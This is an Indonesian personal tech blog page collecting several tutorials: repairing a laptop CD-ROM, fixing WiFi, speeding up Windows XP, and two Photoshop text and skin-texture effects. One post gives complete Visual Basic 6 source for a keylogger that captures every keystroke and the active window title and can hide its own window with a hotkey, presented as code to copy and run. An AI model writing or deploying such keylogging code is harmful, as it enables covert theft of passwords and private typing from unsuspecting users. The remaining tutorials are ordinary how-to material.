™ Welcome To Madown'Z Blog ™
Showing posts with label Tips dan Trik Komputer. Show all posts
Showing posts with label Tips dan Trik Komputer. Show all posts

Monday, January 7, 2013

Cara Memperbaiki CD-Rom Laptop



  • Buka casing CD ROM Membuka casing CD ROM mudah saja. Untuk contoh kali ini saya menggunakan CD ROM Sony. Struktur casing dan cara membuka casing mungkin berbeda dengan CD ROM anda. Tapi garis besarnya seperti ini:
  • Terlebih dahulu keluarkan tray untuk mempermudah membuka casing. Bila CD ROM sudah terlanjur dilepas dari power, gunakan paper clip untuk menekan mekanisme pembuka tray:
     Bila tray sudah terdorong keluar, pelan-pelan tarik tray hingga keluar penuh:

    Lepaskan panel depan dengan menggeser klip penahan panel. Kendurkan 4 buah baut di bagian bawah casing dan angkat tutup bawah. Melepaskan Papan Sirkuit CD ROM. terdapat papan sirkuit yang menutupi mekanisme CD ROM.

    Pada bagian kiri sirkuit terdapat klip plastik yang menahan papan sirkuit pada tempatnya. Renggangkan klip dan angkat papan sirkuit sebelah kiri. Pada bagian sebelah kanan sirkuit terdapat konektor yang menancap ke mekanisme CD ROM (fleksibel). Lepaskan dengan hati-hati dan sekarang sirkuit sebelah kanan bisa diangkat.

    Sekarang keseluruhan papan sirkuit bisa dibalikkan. Masih terlihat ada satu fleksibel lagi yang masih menancap di papan sirkuit. Fleksibel di bagian tengah ini adalah komunikasi data utama CD ROM. Hati-hati melepaskan fleksibel ini. Kendurkan klip penahan fleksibel di sisi kanan dan kiri konektor dengan cara menggesernya ke atas:

    Setelah fleksibel sudah terlepas, seharusnya sekarang sudah terlihat mekanisme CD ROM dan optical assembly-nya, yaitu pembaca data dengan cara menembakkan laser ke CD:

    Perhatikan lebih dekat lagi. Pada gambar atas yang saya tunjukkan terdapat sebuah trimpot, yaitu sejenis potensiometer yang fungsinya seperti Volume di speaker aktif anda:
ZOOM IN:
    SET Laser Gain
  • Nah, si trimpot ini -menurut pengamatan saya- adalah sebagai pengatur tingkat kekuatan laser yang dipancarkan, atau bahasa kerennya Laser Gain. Triknya adalah, putar sedikit trimpot ini searah jarum jam menggunakan alat apa saja. Bisa dengan tang lancip atau obeng mini. Putar sedikit saja dan perhatikan apakah trimpot sudah benar terputar.
Pasang Lagi Semuanya  !
Kembalikan semua komponen CD ROM ke tempatnya semula dengan urutan terbalik dari membuka.

TES !

Sekarang coba pasang CD ROM ke komputer dan tes dengan sembarang CD. Bila CD ROM sudah mampu membaca CD dengan gegas, berarti praktek kali ini selesai.

READ MORE - Cara Memperbaiki CD-Rom Laptop Share

4 Langkah Sederhana Mengatasi WiFi Bermasalah



Wifi Anda Bermasalah?
Penyebabnya bisa macam-macam, dari hanya masalah setting sampai kerusakan wifi. Kadang-kadang, meskipun baru, Wireless LAN atau wifi bisa saja bermasalah. Jika Anda mengalami masalah wifi, Anda dapat mencoba 4 langkah berikut ini untuk mengatasi wifi bermasalah.
1. Periksa apakah tombol wifi sudah dihidupkan
Indikasi tombol wifi sudah hidup adalah lampu yang menyala pada tombol tersebut. Jika tombol wifi sudah anda tekan, tapi tidak ada nyala lampu atau tidak ada lambang wifi sama sekali di layar sebelah kanan bawah windows anda, kemungkinan anda belum menginstall driver wifi anda atau driver bawaan laptop anda tidak cocok. Laptop anda biasanya disertai CD Driver atau anda bisa mendownload di situs merek laptop anda.
2. Hidupkan Wireless Zero Configuration
Jika tombol wifi sudah menyala, lambang wifi ada tapi tidak bisa mendeteksi jaringan hotspot, maka ada kemungkinan Anda belum menghidupkan Wireless Zero Configuration. Anda bisa menghidupkannya dengan menuju
Start->Run->ketikkan services.msc
Setelah muncul Jendela Services akan ada banyak nama service disana
Cari Wireless Zero Configuration
Klik kanan->Properties
Setelah muncul Jendela Wireless Zero Configuration Properties
Cari Startup Type
Jika masih manual, ubah jadi “Automatic” dan klik OK.
Disini Anda akan kembali lagi ke Jendela Services awal. Klik kanan lagi di Wireless Zero Configuration dan pilih Restart untuk menghidupkan Service Wireless Zero Configuration supaya bisa mendeteksi hotspot di sekitar anda.
3. Bersihkan sisa koneksi hotspot
Jika wifi anda sudah bisa mendeteksi hotspot tapi tetap tidak bisa connect, maka kemungkinan anda harus membersihkan “sisa” koneksi hotspot anda yang lama.
Klik ke lambang wifi di pojok kanan bawah
Masuk ke advanced setting, disini akan keluar kotak
Kemudian masuk advanced,
jika anda melihat ada nama-nama hotspot yang dulu pernah tersambung dengan anda, maka hilangkan semua dengan mengklik tombol remove hingga nama-nama hotspot tersebut hilang. Sekarang coba kembali untuk connect ke hotspot anda.
4. Install ulang Windows
Install ulang Windows bisa menjadi solusi jika windows anda ternyata sudah tidak stabil dan menyebabkan wifi anda bermasalah.
Tips diatas adalah solusi sederhana dari
Mister Laptop untuk mengatasi wifi bermasalah. Jika anda sudah mencoba keempat langkah diatas dan wifi anda masih mengalami masalah, ada kemungkinan kartu wifi anda rusak atau perlu diganti.

READ MORE - 4 Langkah Sederhana Mengatasi WiFi Bermasalah Share

Friday, July 20, 2012

Cara Membuat Komputer Anti Lelet

Sebelum membuat komputer anti lelet, sebaiknya kita mengetahui terlebih dahulu beberapa hal yang menyebabkan performa komputer kita lambat, sering hang bahkan muncul berbagai error yang meyebabkan komputer crash sehingga tidak nyaman lagi digunakan.   Beberapa hal paling umum yang dapat menyebabkan masalah pada komputer sehingga komputer kita terasa lelet kita diantaranya adalah:
  1. Mengabaikan Minimum Hardware Requirements, ketika menginstal  suatu aplikasi.
    Semua software / aplikasi mempunyai spesifikasi minimal hardware komputer yang diperlukan agar aplikasi tersebut dapat berjalan normal.  Dan kita ingat itu adalah spesifikasi minimal , jadi agar aplikasi tersebut bisa berjalan optimal spesifikasi komputer kita harus lebih tinggi dari system requirement  aplikasi tersebut.
  2. Overheating pada komponen hardware, beberapa komponen hardware yang sering terjadi overheat adalah Processor, Mainboard, VGA Card dan Power Supply. Overheat pada komponen hardware tersebut bisanya terjadi  karena tidak optimalnya kerja system pendingin (misalnya fan Processor),  komputer ditempatkan di ruangan yang memang mempunyai temperatur cukup tinggi atau bisa juga karena komputer yang dioperasikan 24 jam nonstop.
  3. Live time, hardware komputer juga tidak bisa melawan usia, terutama untuk komponen kapasitor pada mainboard dan hardisk. Secara umum komputer yang telah beroperasi diatas 5 tahun sudah saatnya diupgrade atau diganti baru.
  4. Terlalu banyak software yang diinstall, banyak proses yang berjalan di background, terdapat virus, malware dan spyware yang memakan resource Processor dan Memory yang pada akhirnya dapat menyebabkan komputer kita terasa sangat lelet.
Setelah kita mengetahui beberapa penyebab umum komputer menjadi lelet, maka saatnyalah sekarang kita mempersiapkan  dan melakukan beberapa langkah tune up windows untuk membuat komputer anti lelet.
  1. Ketahui spesifikasi komputer kita, jangan ragu untuk meng-upgrade komponen terutama untuk RAM yang masih dibawah 1 GB.  Apabila anda berminat membeli komputer baru, menurut saya spesifikasi minimal saat ini adalah komputer sekelas Intel Core 2 Duo, RAM DDR3 2 GHz,  Hardisk SATA 250 GB dan 530 Watt Power Supply.
  2. Bersihkan komponen hardware, buka casing CPU dan bersihkan debu yang menempel pada mainboard, fan dan peripheral lainya dengan menggunakan sikat halus dan vacum cleaner.
  3. Bila memang spek komputer kita pas-pasang instal-lah program yang benar-benar diperlukan saja. Ada baiknya juga untuk menggunakan program alternative yang mempunyai ukuran kecil dan tidak memakan banyak resource, diantaranya adalah:
    • Open Office,  untuk membuka dan mengedit dokumen
    • Foxit Reader, untuk membaca dokumen PDF
    • Opera Mini, untuk browsing  lebih cepat dan aman
    • 7 Zip untuk membuat dan membuka file kompresi
    • VLC Media Player untuk menjalankan file multimedia
  4. Bersihkan komputer dari virus, spyware dan malware dengan virus scanner seperti misalnya Norman Malware Cleaner, lalu install antivirus yang tidak memberatkan komputer, saya sendiri menggunakan avast free antivirus dan pastikan selalu update.
  5. Disable Automatic Update pada windows, sebagai gantinya download security update dan hotfix terbaru menggunakan Windows Update Downloader dari windowsupdatesdownloader.com
    Cara Membuat Komputer Anti Lelet Image
  6. Disable windows services yang tidak digunakan, caranya adalah sbb:
    • Klik start – run – ketik: services.msc
    • Double klik pada service yang tidak dipakai, pada pilihan start up type pilih disable
    • Beberapa service windows yang bisaanya tidak terpakai diantaranya : Alerter, Clipbook, Distributed Link Tracking Client, Fast User Switching, Help and Support , Indexing Service, IPSEC Services,  Netmeeting Remote Desktop Sharing,  Portable Media Serial Number,  Remote Desktop Help Session Manager, Remote Procedure Call Locator, Remote Registry, Remote Registry Service, Secondary Logon, Routing & Remote Access, Server,  SSDP Discovery Service , Telnet,  TCP/IP NetBIOS Helper,  Upload Manager, Universal Plug and Play Device Host, Wireless Zero Configuration (bagi yang tidak menggunakan wireless device).  Untuk komputer yang tidak terhubung ke jaringan disable juga
      komputer Browser, Messenger, Windows Time .
      Cara Membuat Komputer Anti Lelet Image
  7. Matikan beberapa aplikasi yang berjalan otomatis saat windows startup. Saya menggunakan tools Start Up Control Panel untuk mengontrol program apa saja yang perlu atau tidak perlu di load saat windows start up. Download programnya di www.mlin.net/StartupCPL.shtml, lalu jalankan dan disable beberapa service yang tidak diperlukan
    Cara Membuat Komputer Anti Lelet Image
  8. Matikan System Restore pada beberapa partisi atau keseluruhan drive. Selain dapat meningkatkan kecepatan windows, mendisable fitur ini akan menghindari  boomerang yang terjadi karena adanya virus yang bercokol di file-file restore point.
    • Caranya: klik kanan icon My komputer – klik Properties – klik tab System Restore – check  Turn off system restore Cara Membuat Komputer Anti Lelet Image
  9. Bersihkan desktop dari shortcut dan file yang tidak sering terpakai. Untuk menyimpan file data sebaiknya simpan di folder atau drive tersendiri. Gunakan wallpaper yang tidak memakan banyak resource memory atau gunakan saja background warna pada tampilan desktop.
  10. Atur Visual Effects for Better Performance,
    • Caranya: klik kanan My komputer – klik Properties – klik tab Advance – pada menu Performance pilih setting,
      pada tab visual effect pilih Adjust for best Performance.
      Cara Membuat Komputer Anti Lelet Image
  11. Bersihkan temporary file yang ada dilokasi C:Documents and Settings-namauser-Local Settings-Temp dan C:Windows-Temp
  12. Jalankan Disk Cleanup Wizard untuk meng-compress old file dan membersihkan file-file yang tidak diperlukan.
    • Caranya klik start – run – ketik : cleanmgr Cara Membuat Komputer Anti Lelet Image
  13. Jalankan Disk Defragmenter secara teratur untuk merapikan kembali data-data yang tersimpan pada hardisk.
    • Caranya klik start – run – ketik : dfrg.mscCara Membuat Komputer Anti Lelet Image
  14. Jalankan tools Checkdisk untuk memastikan struktur file dan direktory pada hardisk bebas dari error.
    • Caranya : Buka Windows Explorer, Klik kanan pada hardisk yang aka di scan, pilih Properties,  pilih tab Tools, pilih Error Checking, klik Check Now.
    • check Automatically fix file system errors dan Scan for and attempt recovery of bad sectorCara Membuat Komputer Anti Lelet Image
  15. Install ulang Windows dan Aplikasi.  Apabila dirasa komputer sudah terlalu banyak masalah, inilah jurus terakhir yang dapat kita lakukan untuk membuat komputer kita kembali ke performa awal, selamatkan semua data ke partisi atau hardisk yang lain lalu mulai lagi semuanya dari awal, reinstall Windows dan program aplikasi lainnya.
Demikianlah sedikit cara perawatan dan tune up windows untuk membuat komputer kita selalu bekerja optimal alias anti lelet.  Dalam artikel ini saya masih menggunakan sistem operasi Windows XP, meskipun beberapa tips diatas pada prinsipnya dapat juga diterapkan pada OS yang lain.
Semoga bermanfaat!

Sumber : http://www.agus-tkj.web.id/2012/06/cara-membuat-komputer-anti-lelet.html#ixzz217StQBui
READ MORE - Cara Membuat Komputer Anti Lelet Share

Monday, April 2, 2012

Membuat Key Logger Dengan Visual Basic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32″ () As Long
    Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End SubPrivate Sub Label1_Click()
    End Sub
    Private Sub Label4_Click()
    End Sub
    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub
    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub
    Private Sub Label8_Click()
    backs = True
    End Sub
    Private Sub Label9_Click()
    backs = False
    End Sub
    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub
    Private Sub Timer1_Timer()
    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000
    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”
    GetWindowText hForegroundWnd, Title, 1000
    Select Case Asc(Title)
    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
    Text1.Text = Text1.Text & " ]” & vbCrLf
    End Select
    End If
    Exit Sub
    Keylogger:
    For i = 65 To 90
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If
    End If
    Next
    For i = 8 To 222
    If i = 65 Then i = 91
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    Select Case i
    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
    Case 112: Text1.Text = Text1.Text & ” F1 “
    Case 113: Text1.Text = Text1.Text & ” F2 “
    Case 114: Text1.Text = Text1.Text & ” F3 “
    Case 115: Text1.Text = Text1.Text & ” F4 “
    Case 116: Text1.Text = Text1.Text & ” F5 “
    Case 117: Text1.Text = Text1.Text & ” F6 “
    Case 118: Text1.Text = Text1.Text & ” F7 “
    Case 119: Text1.Text = Text1.Text & ” F8 “
    Case 120: Text1.Text = Text1.Text & ” F9 “
    Case 121: Text1.Text = Text1.Text & ” F10 “
    Case 122: Text1.Text = Text1.Text & ” F11 “
    Case 123: Text1.Text = Text1.Text & ” F12 “
    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
    Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
    Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
    Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
    Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
    Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
    Case 32: Text1.Text = Text1.Text & ” “
    Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
    Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
    Case 35: Text1.Text = Text1.Text & ” [ End ] “
    Case 36: Text1.Text = Text1.Text & ” [ Home ] “
    Case 37: Text1.Text = Text1.Text & ” [ Left ] “
    Case 38: Text1.Text = Text1.Text & ” [ Up ] “
    Case 39: Text1.Text = Text1.Text & ” [ Right ] “
    Case 40: Text1.Text = Text1.Text & ” [ Down ] “
    Case 41: Text1.Text = Text1.Text & ” [ Select ] “
    Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
    Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
    Case 46: Text1.Text = Text1.Text & ” [ Del ] “
    Case 47: Text1.Text = Text1.Text & ” [ Help ] “
    Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
    End Select
    End If
    Next
    End Sub
    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub
  6. Jalankan dengan menekan tombol F5





    Sumber : binushacker
READ MORE - Membuat Key Logger Dengan Visual Basic Share

Sunday, April 1, 2012

Tutorial Photoshop : Teks Berefek Karamel

Berikut ini adalah tutorial membuat efek teks karamel menggunakan beberapa style layer yang saya terjemahkan secara bebas dari photoshopstar.com. Hasil akhirnya nanti akan seperti ini :



Sebelum memulai, carilah background/ gambar yang cocok dengan tema efek teks, yaitu karamel. Anda bisa mendapatkan gambar seperti yang digunakan sebagai background dalam tutorial ini di stock.xchange.

Langkah 1

Buat dokumen baru berukuran lebar (width) 1000 dan tinggi (height) 500 pixel dengan setting default dari Photoshop (RGB, 72 dpi, white background) seperti di bawah ini.

Langkah 2

Buka gambar background dan ubah lebarnya menjadi 1000 px. Copy gambar tersebut dan paste di dokumen yang sudah kita buat. Beri nama layer karamel ini, misalnya “caramel effect”.

Langkah 3

Buat layer baru di atas layer “caramel effect”, beri nama, misalnya “text”. Klik Horizontal Type Tool (T) dengan settingan berikut: Arial, Black, 230 px, Smooth. Ketik teks Anda tepat di tengah kanvas. Teksnya terserah, boleh ketik nama Anda sendiri, tapi dalam demi ini dipakai teks Photoshop Star. Warnanya pun terserah Anda.

Langkah 4

Sekarang kita mulai membuat efek caramel pada teks tersebut.. Pertama, set up Fill  text layer ke 0% (geser hingga mentok di kiri).

Langkah 5

Masih pada the text layer, klik Layer > Layer Style dan atur settingnya sesuai petunjuk berikut ini:

Setting Drop Shadow


Setting Inner Glow


Setting Inner Glow > Gradient Editor


Setting Bevel and Emboss


Setting Satin


Setting Stroke


Setelah mengaplikasikan semua Blending Options tersebut, kita akan dapatkan hasil seperti ini:

Langkah 6

Sekarang kita akan tambah kekontrasan teks kita. Untuk itu duplikasikan layer teks (Ctrl+J), lalu buat layer baru dan beri nama “filter”. Gabungkan (Ctrl+E) kedua layer baru tersebut agar efek teks berada pada satu layer.


Setelah itu klik menu Filter > Blur > Gaussian Blur sebagai berikut:

Langkah 7

Ubah mode layer ke Soft Light dengan Opacity 50%.

 Hasil akhir:


Selesai! Agar mahir mengaplikasikannya, lakukan beberapa kali dengan background yang berbeda-beda. Selamat mencoba!
READ MORE - Tutorial Photoshop : Teks Berefek Karamel Share

Tutorial Photoshop : Membuat Efek Tekstur pada Kulit

Dalam tutorial ini akan dijabarkan cara membuat tekstur pada kulit dengan hasil sebagai berikut :




Langkah awal, siapkan 2 gambar/ foto, yang terdiri dari 1 foto/ gambar sebagai obyek yang akan diberi efek dan 1 foto/ gambar tekstur. Anda bisa mencoba berkreasi dengan foto dan tekstur pilihan Anda sendiri atau menggunakan 2 foto berikut sebagaimana yang dipakai dalam tutorial ini.

Gambar 1
Gambar 2

Untuk memudahkan penjelasannya, file foto wajah saya beri nama gambar 1, sedangkan file tekstur saya beri nama gambar 2. Saya juga ikut mencoba tutorial dari Photoshop Star ini dengan menggunakan Photoshop CS3. Siap? Mari kita mulai …



Aktifkan Photoshop.

Buka file gambar 1. Silakan jika Anda ingin merubah ukuran dan resolusi gambar ini.

Buka file gambar 2. Silakan jika Anda ingin merubah ukuran dan resolusi gambar ini. Copy gambar ini.

Buka file gambar 1 dan paste-kan copy gambar 2 (posisinya akan berada di atas layer gambar 1). Atur posisi gambar 2 tepat menutupi wajah di gambar 1.


Jangan lupa untuk menyimpan setiap perubahan yang Anda lakukan ya … Tekan saja Ctrl + S.

Masih di layer gambar 2, putar gambar dengan Edit > Transform > Flip Vertical dan atur opacity-nya jadi 50%, sehingga gambar 2 jadi samar-samar.


Atur mode blending pada posisi Multiply dengan opacity 80%.


Sampai di sini sudah terlihat efek teksturnya, bukan? Agar tekstur seolah-olah mengikuti kontur wajah, gunakan menu Edit > Transform > Warp, lalu atur sesuka Anda.


Berikutnya hapus tekstur yang berada di luar area wajah. Ada 2 cara untuk melakukan ini.

Cara 1, gunakan Eraser Tool (E) dengan soft round yang sesuai (tergantung resolusi gambar Anda). Di sini saya menggunakan soft round 45 px. Sapukan Eraser Toolpada bagian-bagian yang tidak digunakan (di luar area wajah).

Cara 2, gunakan Polygonal Lasso Tool (L) dengan feather 3 px mengelilingi wajah sampai leher. Setelah selesai, pilih menu Select > Inverse atau Shift + Ctrl + I lalu Delete. Untuk menghilangkan selected area dari Polygonal Lasso Tool tadi tekan Ctrl + D. Cara 2 ini lebih saya sukai.


Pertajam efek tekstur dengan Sharpen Tool (R + klik kanan, lalu pilih Sharpen Tool) dengan soft round brush sekitar 200 px. Sapukan Sharpen Tool sehingga tekstur tampak makin jelas.

Perhatikan bagian mata. Secara logika, mata tak mungkin bertekstur seperti kulit, bukan? Untuk itu kita hapus bagian mata dengan cara seperti menghapus bagian luar area wajah tadi. Hanya saja, jika Anda pakai cara 1, pilih soft round brush kecil, sekitar 10 px saja.

Agar tekstur tampak lebih hidup sesuai dengan kontur wajah, gunakan Dodge Tool (O) dengan setting Range Highlights dan Exposure 35%. Karena fungsi ini adalah untuk efek mencerahkan, maka sapukan Dodge Tool pada bagian yang terang. Setelah itu gunakan Burn Tool dengan setting Range Shadows dan Exposure 40% yang berfungsi untuk mempertajam bagian-bagian yang gelap.

Sekarang kita benahi bagian baju agar lebih tajam tekstur kainnya. Klik pada layer gambar 1, gunakan Sharpen Tool dengan soft range brush 90 px, mode Normal, Strength 50%, lalu sapukan pada bagian baju hingga hasilnya akan seperti ini.


Sudah lumayan ‘kan? Tapi kita belum selesai. Kita perlu tambahkan warna pada kulit wajah. Klik pada layer gambar 2, lalu menu Select > Load Selection > Ok, sehingga muncul selected area. Setelah itu buat layer baru (Shift + Ctrl + N) yang posisinya di atas layer gambar 2. Isi selected area di layer baru (dengan Paint Bucket Tool mode Normal, opacity 100%) tersebut dengan warna #331e01.

 


Hilangkan selected area dengan Ctrl + D lalu ubah mode layer ke Color.


Hasilnya seperti ini :


Setelah itu kita tambahkan sedikit efek dingin pada bagian wajah menggunakan Eliptical Marquee Tool (feather 100 px).


Berikutnya gunakan menu Image > Adjustment > Hue/Saturation (Ctrl + U) dengan proses sebagai berikut :


Hilangkan selected area dengan Ctrl + D. Hasilnya akan seperti ini.


Untuk finishingnya, bersihkan bagian tepi tekstur (jangan lupa mengklik layer gambar 2) dengan Eraser Tool atau Polygonal Lasso Tool hingga terlihat rapi.
READ MORE - Tutorial Photoshop : Membuat Efek Tekstur pada Kulit Share

Kode Warna

Kode warna :